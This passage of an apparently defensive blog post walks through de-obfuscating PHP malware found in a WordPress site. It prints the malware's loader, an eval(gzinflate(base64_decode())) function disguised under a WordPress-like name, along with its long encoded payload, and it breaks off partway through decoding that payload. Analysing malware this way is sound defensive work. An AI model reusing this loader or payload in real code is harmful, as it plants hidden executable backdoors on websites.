#000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">8</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">21</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">17</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">19</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">20</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">22</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">6</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">9</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">16</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">15</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">13</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">18</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">5</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$wp_salt</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">11</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Again we have a variable with a name similar to a real WordPress one, <a href="https://codex.wordpress.org/Function_Reference/add_filter"><code>add_filter()</code></a>. An anonymous function being created by <a href="http://nl3.php.net/manual/en/function.create-function.php"><code>create_function()</code></a> is being assigned to the variable. Why not just declare a normal PHP function? Presumably because then it would be less obvious what the code is doing. Likewise the previous line&#8217;s <code>$wp_salt</code> is used to provide the characters necessary to assemble the source code string taken by <code>create_function()</code>. Presumably the numerical array references are less obvious than their corresponding characters. So let&#8217;s replace all the array references with the actual characters:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$wp_add_filter</span> <span style="color: #339933;">=</span> <span style="color: #990000;">create_function</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'$v'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'eval(gzinflate(base64_decode($v)));'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Oooohhh, now <strong>THAT&#8217;s</strong> interesting! <code>$wp_add_filter</code> is a function that takes a variable <code>$v</code>, <a href="http://nl3.php.net/manual/en/function.base64-decode.php"><code>base64_decode()</code>s</a> it, then <a href="http://nl3.php.net/manual/en/function.gzinflate.php"><code>gzinflate()</code>s</a> it, and then <a href="http://nl3.php.net/manual/en/function.eval.php"><code>eval()</code>s</a> it. Basically, given a string of source code that was compressed using two different compression algorithms, the function when uncompress them and then execute the code. That&#8217;s it.</p>
<p>But what is the code? Now we get to the last line:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$wp_add_filter</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'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'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Rather than calling <code>$wp_add_filter()</code> directly, let&#8217;s go through the steps found in the <code>$wp_add_filter</code> function to see what&#8217;s happening. First, the function would call <code>base64_decode()</code> on that string, so let&#8217;s do that too:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">php<span style="color: #339933;">&gt;</span> <span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'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